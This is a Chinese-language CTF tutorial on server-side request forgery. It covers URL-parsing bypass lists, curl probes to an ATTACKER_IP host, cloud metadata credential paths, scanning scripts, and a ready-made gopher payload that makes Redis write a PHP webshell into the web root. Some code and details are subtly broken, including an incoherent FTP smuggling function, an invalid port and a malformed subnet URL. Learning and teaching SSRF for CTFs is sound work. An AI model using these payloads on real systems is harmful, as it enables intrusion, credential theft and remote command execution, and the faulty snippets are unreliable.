SSRF基础
SSRF基础
本文适合
CTF Web安全入门学习者。学完你能:从 URL 抓取类入口判断 SSRF,完成回显/无回显验证,并把请求推进到内网探测或元数据读取
SSRF 是 Server-Side Request Forgery,服务端请求伪造。它的核心不是"访问一个 URL",而是让服务器替你去访问攻击者指定的地址。
一句话判断
只要题目让你提交 URL、图片地址、Webhook、远程导入地址或截图地址,并且响应像是由服务器访问目标后返回的,就要优先怀疑 SSRF。
判断 SSRF 不看"我能不能访问这个 URL",而看"目标服务器有没有替我访问这个 URL"。这意味着同一个 payload 在你本机不可达,但在目标服务器内网可达时,题目才真正打开了攻击面。
题目中常见信号
- 参数名像
url、target、link、image、callback、webhook、fetch、proxy。 - 功能描述包含"在线截图""远程图片""URL 预览""从链接导入""测试 Webhook"。
- 访问外网 URL 后,页面返回被抓取页面标题、图片尺寸、状态码或错误信息。
- 访问
127.0.0.1、localhost、169.254.169.254、10.x.x.x时,响应时间或错误类型和普通外网不同。 - 过滤提示强调"只允许 http/https""不能访问内网""禁止 localhost",通常说明出题点就在 URL 解析绕过。
- 无回显场景中,外带平台能收到 DNS 或 HTTP 请求。
核心概念
SSRF 的漏洞边界是请求发起者从浏览器变成了服务器。服务器通常拥有更靠近内网、云元数据、管理接口和本地服务的网络位置,所以一个看似普通的"抓取 URL"功能可能变成内网探测器。
利用时要分三层看:
- 解析层:后端如何解析 URL,是否存在十进制 IP、IPv6、
@、重定向、DNS Rebinding 等绕过。 - 请求层:后端请求库支持哪些协议,是否跟随跳转,是否允许自定义 Header,是否有超时差异。
- 目标层:服务器能访问哪些内网地址、元数据地址或本地端口,响应是否能回显给攻击者。
最小分析流程
- 找到所有能输入 URL 的位置,记录参数名、请求方法、Content-Type 和响应内容。
- 用一个可控外网地址验证服务器是否发起请求,例如临时 HTTP 服务、DNSLog 或 Burp Collaborator。
- 测
http://127.0.0.1/、http://localhost/、http://169.254.169.254/,比较状态码、响应长度和时间。 - 如果被拦截,测试 IP 表示法、IPv6、userinfo、跳转、DNS 解析和协议变体。
- 如果有回显,优先读云元数据、内网管理页面或本地调试接口;如果无回显,优先做端口存活和外带验证。
- 每一步都记录"payload、响应长度、状态码、耗时、是否产生外带请求",方便区分真实 SSRF 和普通校验错误。
最小验证示例
先确认服务端会访问攻击者控制的地址:
# 攻击者机器
python3 -m http.server 8000
# 向目标提交
curl "http://target/fetch?url=http://ATTACKER_IP:8000/probe"如果攻击者机器日志出现来自目标服务器的请求,说明服务端请求成立。再比较本地地址和不存在端口:
curl -i "http://target/fetch?url=http://127.0.0.1:80/"
curl -i "http://target/fetch?url=http://127.0.0.1:65535/"
curl -i "http://target/fetch?url=http://2130706433/"若 80 和 65535 的报错、耗时、长度不同,就可以继续做本地端口枚举;若 2130706433 绕过了黑名单,说明过滤和真实请求库的解析不一致。
常见利用 / 解题路线
路线总览:
- 回显读取路线:URL 抓取有响应正文时,直接访问
127.0.0.1、内网服务、云元数据目录,逐层枚举敏感路径。 - 无回显确认路线:先用 DNSLog/HTTP 外带确认请求发生,再利用时间差判断端口开放状态。
- 过滤绕过路线:尝试十进制/十六进制/八进制 IP、IPv6、
localhost变体、nip.io、短链、302 跳转和 DNS Rebinding。 - 协议扩展路线:当请求库支持
file://、gopher://、dict://、ftp://时,尝试文件读取或向 Redis、Memcached、SMTP 等服务发送原始协议数据。 - 云元数据路线:命中云环境时,优先检查
169.254.169.254、100.100.100.200、metadata.google.internal等元数据入口。
SSRF 在解决什么问题
正常情况下,浏览器只能直接访问自己能连到的网络。服务端却可能能访问内网、云元数据、管理接口、数据库旁路接口等位置。
如果一个功能允许用户提交 URL,例如:
抓取图片
网页截图
远程导入
URL 预览
Webhook 测试
PDF 生成而服务端直接按用户给的地址发请求,就可能出现 SSRF。
SSRF 的关键边界
SSRF 的边界在"谁发起请求"。
如果是浏览器访问 URL,那是客户端请求。
如果是后端服务器访问 URL,那是服务端请求。
CTF 中要观察响应差异:页面返回的是你本机访问结果,还是服务器访问目标后的结果。
常见目标
本地回环地址:
127.0.0.1
localhost
0.0.0.0内网地址:
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16云元数据地址:
169.254.169.254这些地址对外部浏览器可能不可达,但对目标服务器可能可达。
协议不只 HTTP
一些服务端请求库支持多种协议,例如:
http://
https://
file://
gopher://
dict://
ftp://不同协议能触达不同资源。CTF 题常通过协议限制、URL 解析差异、重定向和编码绕过来考 SSRF。
SSRF 和回显
有回显 SSRF:服务端把访问结果返回给你,学习和利用都更直接。
无回显 SSRF:页面只告诉你成功或失败,需要通过时间、DNS 请求、外带服务器、状态码差异等方式判断请求是否发生。
DNS Rebinding 攻击
DNS Rebinding 绕过基于 IP 的限制:第一次解析返回允许的 IP,第二次解析返回内网 IP。
import socket
import time
import requests
def dns_rebinding_check(url):
"""检测是否存在 DNS Rebinding 可能"""
from urllib.parse import urlparse
hostname = urlparse(url).hostname
# 多次解析看是否返回不同 IP
ips = set()
for _ in range(10):
try:
ip = socket.gethostbyname(hostname)
ips.add(ip)
time.sleep(0.1)
except:
pass
if len(ips) > 1:
print(f"[!] DNS 解析返回多个 IP: {ips}")
print(" 可能存在 DNS Rebinding 风险")
else:
print(f"[*] DNS 解析结果: {ips}")
return ips
# DNS Rebinding 的两种模式:
# 1. TTE (Time-To-Exploit): 设置很短的 TTL
# 第一次: attacker.com -> 允许的IP (通过检查)
# 第二次: attacker.com -> 127.0.0.1 (实际请求)
# 2. 多 IP: 返回两个 IP,浏览器可能交替使用
# A 记录: 1.2.3.4 (合法IP), 127.0.0.1 (内网IP)# 自建 DNS Rebinding 服务
# 使用 rbndr.us 或自建 DNS 服务器
# 测试工具
# https://lock.cmpxchg8b.com/rebinder.html
# https://rbndr.us/
# 输入两个 IP,生成一个在两者间交替解析的域名协议走私 (Protocol Smuggling)
利用不同协议的解析差异进行攻击:
# Gopher 协议利用
# Gopher 可以构造任意 TCP 数据包
def gopher_smuggling_redis(host="127.0.0.1", port=6379, command="SET test hacked"):
"""通过 Gopher 协议操作 Redis"""
# 构造 Redis 命令
redis_cmd = f"*{len(command.split())}\r\n"
for arg in command.split():
redis_cmd += f"${len(arg)}\r\n{arg}\r\n"
# URL 编码
import urllib.parse
encoded = urllib.parse.quote(redis_cmd)
gopher_url = f"gopher://{host}:{port}/_{encoded}"
return gopher_url
# 使用示例
# url = gopher_smuggling_redis("127.0.0.1", 6379, "SET x hacked")
# 通过 SSRF 让目标服务器访问这个 gopher URL
# Dict 协议利用
def dict_smuggling(host="127.0.0.1", port=6379, command="info"):
"""通过 Dict 协议操作 Redis"""
return f"dict://{host}:{port}/d:0:{command}"
# FTP 协议利用 (SSRF 写文件)
def ftp_smuggling(host, file_content):
"""通过 FTP 协议写入文件"""
# FTP 的 PASV 模式可能被用于数据外带
import socket
# PASV 模式让服务器开放数据端口
# PORT 命令可以让服务器连接攻击者指定的地址
# 利用 FTP 的 PORT 命令走私
cmds = [
f"USER anonymous\r\n",
f"PASS anonymous\r\n",
f"PORT {host.replace('.', ',')},0,25\r\n", # 连接到 host:25
f"RETR /etc/passwd\r\n",
]
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 21))
for cmd in cmds:
s.send(cmd.encode())
resp = s.recv(1024)
s.close()云元数据访问
云环境中的元数据服务是 SSRF 的重要目标:
AWS:
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
阿里云:
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/
腾讯云:
http://metadata.tencentyun.com/latest/meta-data/
http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/
GCP:
http://metadata.google.internal/computeMetadata/v1/
# 需要 Header: Metadata-Flavor: Google
Azure:
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# 需要 Header: Metadata: trueimport requests
def check_cloud_metadata():
"""检查云元数据服务"""
metadata_urls = {
"AWS": "http://169.254.169.254/latest/meta-data/",
"阿里云": "http://100.100.100.200/latest/meta-data/",
"腾讯云": "http://metadata.tencentyun.com/latest/meta-data/",
"GCP": "http://metadata.google.internal/computeMetadata/v1/",
}
for cloud, url in metadata_urls.items():
try:
headers = {}
if cloud == "GCP":
headers["Metadata-Flavor"] = "Google"
resp = requests.get(url, headers=headers, timeout=2)
if resp.status_code == 200:
print(f"[!] {cloud} 元数据可访问: {url}")
print(f" 响应: {resp.text[:200]}")
except:
pass
# 通过 SSRF 访问元数据
# 1. 直接访问: /fetch?url=http://169.254.169.254/latest/meta-data/
# 2. 重定向: /fetch?url=http://attacker.com/redirect (302到元数据)
# 3. DNS rebinding: 使用在合法IP和169.254.169.254间切换的域名SSRF 绕过技巧
# 1. IP 表示绕过
bypass_ips = [
"127.0.0.1", # 标准回环
"localhost", # 主机名
"0.0.0.0", # 所有接口
"2130706433", # 十进制: 127.0.0.1
"0x7f000001", # 十六进制: 127.0.0.1
"0177.0.0.1", # 八进制: 127.0.0.1
"127.0.0.1.nip.io", # DNS 解析到 127.0.0.1
"[::1]", # IPv6 回环
"[0:0:0:0:0:0:0:1]", # IPv6 回环完整
"fd00::1", # IPv6 私有地址
"169.254.169.254", # 云元数据
"100.100.100.200", # 阿里云元数据
]
# 2. 协议绕过
bypass_protocols = [
"http://127.0.0.1",
"gopher://127.0.0.1:25/", # SMTP
"gopher://127.0.0.1:6379/", # Redis
"dict://127.0.0.1:6379/", # Redis
"file:///etc/passwd", # 本地文件
"ftp://127.0.0.1/", # FTP
]
# 3. URL 解析绕过
bypass_urls = [
"http://127.0.0.1@evil.com", # 用户信息混淆
# 注意:URL fragment(# 之后的部分)不会被发送到服务器,不能用 fragment 绕过
# 真正的 URL 解析绕过应关注:@(userinfo)、\(反斜杠路径)、?(查询参数)等
"http://evil.com%00@127.0.0.1", # null 字节
"http://127.0.0.1:80@evil.com", # 端口混淆
"http://①②⑦.⓪.⓪.①", # Unicode 数字
]
# 4. 302 重定向绕过
# 如果服务端检查初始 URL 但不跟随重定向检查
# 在 attacker.com 设置 302 跳转到内网地址SSRF 检测脚本
import requests
def ssrf_scan(target_url, param_name="url"):
"""SSRF 漏洞扫描"""
payloads = {
"回环地址": "http://127.0.0.1:80",
"回环主机": "http://localhost:80",
"内网A类": "http://10.0.0.1:80",
"内网B类": "http://172.16.0.1:80",
"内网C类": "http://192.168.0.1:80",
"元数据AWS": "http://169.254.169.254/latest/meta-data/",
"元数据阿里": "http://100.100.100.200/latest/meta-data/",
"本地文件": "file:///etc/passwd",
}
for name, payload in payloads.items():
try:
resp = requests.get(target_url, params={param_name: payload}, timeout=5)
if resp.status_code == 200 and len(resp.text) > 0:
print(f"[+] {name}: {resp.status_code} - 长度 {len(resp.text)}")
if "root:" in resp.text or "metadata" in resp.text:
print(f" [!] 可能存在 SSRF!")
else:
print(f"[-] {name}: {resp.status_code}")
except requests.Timeout:
print(f"[?] {name}: 超时 (可能被阻止)")
except Exception as e:
print(f"[-] {name}: {e}")
# 使用示例
# ssrf_scan("http://target.com/fetch", "url")无回显 SSRF 利用
import requests
import time
def blind_ssrf_with_dns(target_url, param_name, oob_domain):
"""通过 DNS 外带确认无回显 SSRF"""
# 在 oob_domain 上监听 DNS 查询
payload = f"http://{oob_domain}/test"
requests.get(target_url, params={param_name: payload}, timeout=5)
# 检查 DNS 记录 (需要在 oob 域名上查看)
# 如果收到 DNS 查询,说明 SSRF 存在
print(f"[*] 已发送请求,请检查 {oob_domain} 的 DNS 查询记录")
# 时间盲注
def blind_ssrf_with_timing(target_url, param_name):
"""通过响应时间判断 SSRF"""
# 访问存在的内网服务
payload_slow = "http://192.168.1.1:8080" # 假设这个端口开放
payload_fast = "http://192.168.1.1:99999" # 不存在的端口
start = time.time()
requests.get(target_url, params={param_name: payload_slow}, timeout=10)
time_slow = time.time() - start
start = time.time()
requests.get(target_url, params={param_name: payload_fast}, timeout=10)
time_fast = time.time() - start
if abs(time_slow - time_fast) > 1:
print(f"[!] 时间差异明显: {time_slow:.2f}s vs {time_fast:.2f}s")
print(" SSRF 可能存在")组合利用
SSRF + Redis 未授权访问:通过 gopher 协议向 Redis 发送命令,写入 crontab 或 webshell。
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$34%0d%0a%0a%0a<%3fphp%20system($_GET['cmd'])%3b%3f>%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0aSSRF + 内网服务发现:扫描内网段,发现 Redis、Memcached、Elasticsearch 等服务。
目标:http://target/proxy?url=http://172.16.0.0/24:6379
逐个尝试常见端口:6379(Redis), 11211(Memcached), 9200(ES), 27017(MongoDB)常见失败原因
- 以为能访问外网 URL 就是 SSRF:先用可控 HTTP/DNS 服务确认请求来自目标服务器,而不是来自自己的浏览器。
- 不区分过滤失败和请求失败:记录拦截提示、状态码、响应时间和后端错误文本,判断请求是否真正发出。
- 只测
127.0.0.1:同时测试localhost、0.0.0.0、[::1]、十进制 IP、内网网段和元数据地址。 - 忽略跳转行为:用自建 302 服务确认后端是否只检查第一跳 URL。
- 无回显时盲猜:先用 DNSLog 或 HTTP 外带确认,再做端口枚举和协议利用。
- 套用 gopher payload 失败:检查目标请求库是否支持该协议、是否 URL 解码两次、目标服务是否真的开放。
- 云元数据没有结果就放弃:不同云厂商地址和必需 Header 不同,GCP/Azure 还要额外 Header,普通 URL 参数不一定能设置。
迷你案例
题目有一个 /preview?url= 接口,传入 https://example.com 会返回网页标题。第一步用攻击者机器监听:
python3 -m http.server 8000
curl "http://target/preview?url=http://ATTACKER_IP:8000/a"日志里出现目标服务器 IP,说明请求由服务端发出。接着测试本地端口:
curl -s "http://target/preview?url=http://127.0.0.1:80/" | wc -c
curl -s "http://target/preview?url=http://127.0.0.1:6379/" | wc -c
curl -s "http://target/preview?url=http://127.0.0.1:65535/" | wc -c6379 返回长度明显不同,说明内网 Redis 可能开放。若 gopher:// 被允许,就构造 Redis INFO 或 GET flag 的原始协议;若只允许 HTTP,则继续找内网 HTTP 管理端口或通过 302 跳转绕过第一层过滤。这个案例的闭环是:URL 入口 -> 外带确认 -> 本地端口差异 -> 内网服务利用。